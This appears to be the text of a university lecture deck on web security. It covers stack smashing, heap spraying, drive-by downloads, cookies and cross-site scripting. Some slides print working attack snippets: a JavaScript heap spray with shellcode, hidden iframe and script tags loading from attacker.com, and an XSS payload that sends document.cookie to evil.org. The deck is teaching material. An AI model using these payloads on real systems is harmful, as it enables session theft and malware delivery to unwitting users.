Web Security Dr. 許 富 皓

1. Web Security Dr.許 富 皓 Department of Computer Science and Information Engineering,National Central University

2. Stack Smashing Attacks

3. Principle of Stack Smashing Attacks • Overwritten control transfer structures, such as return addresses or function pointers, to redirect program execution flow to desired code. • Attack strings carry both code and address(es) of the code entry point.

4. EIP A Linux Process Layout and Stack Operations main() { : G(1); } void G(int a) { : H(3); } void H(int c) { : } kernel address space high address Libraries heap BSS data code env, argv, argc main stack G H low address

5. Explanation of BOAs (1) G(int a) { H(3); add_g: } H( int b) { char c[100]; int i=0; while((c[i++]=getch())!=EOF) { } } G’s stack frame b return address add_g H’s stack frame address of G’s frame point ebp C[99] 0xabc c b a 0xabb C[0] 0xaba Input String: abc i esp

6. Explanation of BOAs (2) Length=108 bytes Attack String: xxInjected Codexy0xabc G(int a) { H(3); add_g: } H( int b) { char c[100]; int i=0; while((c[i++]=getch())!=EOF) { } } X : 1 byte y : 4 bytes b return address add_g addrress oxabc H’s stack frame address of G’s frame point y ebp C[99] x Injected Code 0xabc 0xabb x x C[0] 0xaba i esp

7. Injected Code: • The attacked programs usually have root privilege; therefore, the injected code is executed with root privilege. • The injected code is already in machine instruction form; therefore, a CPU can directly execute it. • However the above fact also means that the injected code must match the CPU type of the attacked host. • Usually the injected code will fork a shell; hence, after an attack, an attacker could have a root shell.

8. Heap Spray and Drive-by Download

9. Heap Spray[Wikipedia][Nozzle] • Heap spraying is a technique used in exploits to facilitate arbitrary code execution. • Heap spraying is a security threat using a strategy of allocating many objects containing the attacker’s exploit code in an application’s heap. • Heap spraying requires that an attacker use another memory corruption exploit to trigger an attack, but the act of spraying greatly simplifies the attack and increases its likelihood of success.

10. Heap Spray Overview [Puttaraksa]

11. Implementation - JavaScript • Heap sprays for web browsers • are commonly implemented in JavaScript and • spray the heap by • making copies of a long string and • storing these strings in an array, up to the point where enough memory has been sprayed to cover the area that the exploit targets. • P.S.: The long string begins with a NOP sled and ends with shellcode.

12. Implementation - ActionScript • ActionScript • In July 2009, exploits were found to be using ActionScript to spray the heap in Adobe Flash.

13. Implementation - Images • Images • Though it has been proven that heap-spraying can be done through other means, for instance by loading image files into the process, this has not seen widespread use (as of August 2008).

14. Memory Corruption Exploit

15. Sources of Memory Corruption Exploit • Mishandling Tag Attribute Values • Virtual Table • …

16. Mishandling Tag Attribute Values (1) • HTTPMSIE Malf. IFRAME/EMBED BO [Symantec] • It is reported that an attacker can exploit this condition by creating a malicious Web page containing a malformed IFRAME, FRAME or EMBED tag. • Specifically, the attacker creates the IFRAME, FRAME or EMBED tag by specifying large string values for the 'SRC' and 'NAME' properties. • These values are copied into finite sized process buffers resulting in memory corruption.

17. Mishandling Tag Attribute Values (2)[Julam] <IFRAME SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB : : BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB NAME=“CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC : CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC”> </IFRAME> • Result: • eip stops at address 0x769f682f

18. Mishandling Tag Attribute Values (3)[Julam] memory = new Array(); for (i=0;i<700;i++) memory[i] = block + shellcode;

19. Virtual Table [Foster et al.] • The virtual table is a lookup table of functions used to resolve function calls in a dynamic/late binding manner. • Class objects and structures are often stored on the heap. • One field of a class object is a pointer to its virtual table, called virtual-function table pointer.

20. Virtual Table [Foster et al.] – Overview *__vptr char a[100] *__vptr char a[100]

21. Virtual Table [Ratanaworabhan et al.] – Spraying the Heap <SCRIPT language="text/javascript"> shellcode = unescape("%u4343%u4343%..."); oneblock = unescape("%u0D0D%u0D0D"); var fullblock = oneblock; while (fullblock.length<0x40000) { fullblock += fullblock; } sprayContainer = new Array(); for (i=0; i<1000; i++) { sprayContainer[i] = fullblock + shellcode; } </SCRIPT> Shell Code NOP Sled

22. Result • Because the size of the sprayed heap area may be tens of MBs, ASLR may not work as expected.

23. Drive-by Download Attacks [wikipedia] • Download of spyware, a computer virus, or any kind of malware that happens without knowledge of the user. • Drive-by downloads may happen by • visiting a website • viewing an e-mail message or • by clicking on a deceptive popup window.

24. Clicking on a Deceptive Popup Window • For instance, a user clicks on the window in the mistaken belief • that it is an error report from his own PC or • that it is an innocuous advertisement popup. • In such cases, the "supplier" may claim that the user "consented" to the download though he was completely unaware of having initiated a malicious software download.

25. Drive-by Downloads using Web Pages • Features: • Same appearance as the original webpage • Secret downloads • Automatic installation • Based on vulnerabilities of browsers, plug-ins, or OSes

26. Client side WWW Vulnerable browser Good web server Malicious web server bad.htm attacker.com <iframe src=“http://attacker.com/bad.htm” height=0 width=0> </iframe> <script src=http://attacker.com/bad.js></script>

27. Client side WWW Vulnerable browser Good web server Malicious web server bad.htm attacker.com document.write(unescape("%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%0D%0A%69%66%28%6E%61%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%22%5C%78%36%44%5C%78%37%33%5C%78% ……… attacker2.com

28. Discuss Why not inject shell code at the first stage? (i.e. inject shell code to the “good web server” directly)

29. Drive-by Downloads • Why Drive-by-Downloads? • Deploy malware on computers of victims • Large scale (vs. target attacks) • Bypass firewalls or NAT protection • Current solutions • Static web-page analysis • Web-sites reputation • Microsoft Killbit

30. HTTP Cookie[Wikipedia]

31. HTTP Cookies • HTTP cookies, sometimes known as web cookies or just cookies, are parcels of text • sent by a server to a web browser • and then sent back unchanged by the browser each time it accesses that server • HTTP cookies are used for • authenticating • tracking • maintaining specific information about users, such as • site preferences • the contents of their electronic shopping carts. • The term "cookie" is derived from "magic cookie," a well-known concept in Unix computing which inspired both the idea and the name of HTTP cookies.

32. Cookie Delivery

33. Examine the Cookies • Most browsers supporting JavaScript allow the user to see the cookies that are active with respect to a given page by typing javascript:alert("Cookies: "+document.cookie) in the browser URL field. • Some browsers incorporate a cookie manager for the user to see and selectively delete the cookies currently stored in the browser.

34. Third-party Cookies • While cookies are only sent to • the server setting them or • one in the same Internet domain, a Web page may contain images or other components stored on servers in other domains. • Cookies that are set during retrieval of these components are called third-party cookies.

35. Using Third-party Cookies to Track a User’s Activity • Advertising companies use third-party cookies to track a user across multiple sites. • In particular, an advertising company can track a user across all pages where it has placed advertising images or Web bugs. • Knowledge of the pages visited by a user allows the advertisement company to target advertisement to the user's presumed preferences.

36. Tracking Example

37. Privacy Threat • The possibility of building a profile of users has been considered by some a potential privacy threat, • even when the tracking is done on a single domain • but especially when tracking is done across multiple domains using third-party cookies. • For the above reason, some countries have legislation about cookies.

38. Cross-site Scripting

39. Categories • Non-persistent  XSS (Reflected XSS) • the most common type nowadays • Persistent XSS

40. Non-persistent XSS

41. Through Hyperlinks • An attacker may be able to embed their malicious code within a hyperlink to the target site. When the client web browser follows the link, the URL sent to trusted.org includes malicious code. The site (trusted.org) sends a page back to the browser including the value of criteriawithout validating user supplied input , which consequently forces the execution of code from the evil attackers’ server. • For example; <A HREF="http://trusted.org/search.cgi?criteria=<SCRIPT SRC='http://evil.org/badkama.js'></SCRIPT>"> Go to trusted.org </A> • In the attack above, one source is inserting code into pages sent by another source. • It should be noted that this attack: • disguises the link as a link to http://trusted.org, • can be easily included in an HTML email message, • does not supply the malicious code inline, but is downloaded from http://evil.org. Thus the attacker retains control of the script and can update or remove the exploit code at anytime. Web browser trusted.org

42. Ways to Deploy Hyperlinks • The user will most likely click on this link from • another website, • instant message, or • simply just reading a web board or email message.

43. Non-persistent Cross Site Scripting(XSS) • A non-persistent cross-site scripting (XSS) vulnerability is caused by the failure of an web based application to validate user supplied input before returning it to the client system. • By causing the victim’s browser to execute injected code under the same permissions as the web application domain, an attacker can bypass the traditional Document Object Model (DOM) security restrictions which can result in • cookie theft, • account hijacking, • changing of web application account settings, • spreading of a webmail virus, etc.

44. The Most Common Victims to Non-persistent XSS • The most common web components that fall victim to XSS vulnerabilities include • CGI scripts, • search engines, • interactive bulletin boards, and • custom error pages with poorly written input validation routines. • Additionally, a victim doesn’t necessarily have to click on a link; XSS code can also be made to load automatically in an HTML e-mail with certain manipulations of the IMG or IFRAMEHTML tags. Each of these components could generate a web page.

45. Hijack Web Application Sessions • The most popular XSS attack (and devastating) is the harvesting of • authentication cookies and • session management tokens. • With this information, it is often a trivial exercise for an attacker to hijack the victims active session, completely bypassing the authentication process.

46. Traditional Non-persistent XSS Web Application Hijack Scenario (1) • The attacker investigates an interesting site • that normal users must authenticate to gain access to and • that tracks the authenticated user through the use of cookies or session ID’s • The attacker finds a XSS vulnerable page on the site, for instance http://trusted.org/account.asp. • Using a little social engineering, • the attacker creates a special link to the site and • embeds it in an HTML email that he sends to a long list of potential victims.

47. Traditional Non-persistent XSS Web Application Hijack Scenario (2) • Embedded within the special link are some coding elements specially designed to transmit a copy of the victims cookie back to the attacker. For instance: <img src="http://trusted.org/account.asp?ak=<script>document.location.replace('http://evil.org/steal.cgi?'+document.cookie); </script>"> • Unknown to the victim, the attacker has now received a copy of their cookie information. • The attacker now visits the web site and, by substituting his cookie information with that of the victims, is now perceived to be the victim by the server application.

48. Traditional Non-persistent XSS Web Application Hijack Steps [David Endler]

49. SOLUTIONS AND WORKAROUNDS [David Endler]

50. For Users • As a web application user, there are a few ways to protect yourself from XSS attacks. • The first and most effective solution is to disable all scripting language support in your browser and email reader. • If this is not a feasible option for business reasons, another recommendation is to use reasonable caution when clicking links in anonymous e-mails and dubious web pages.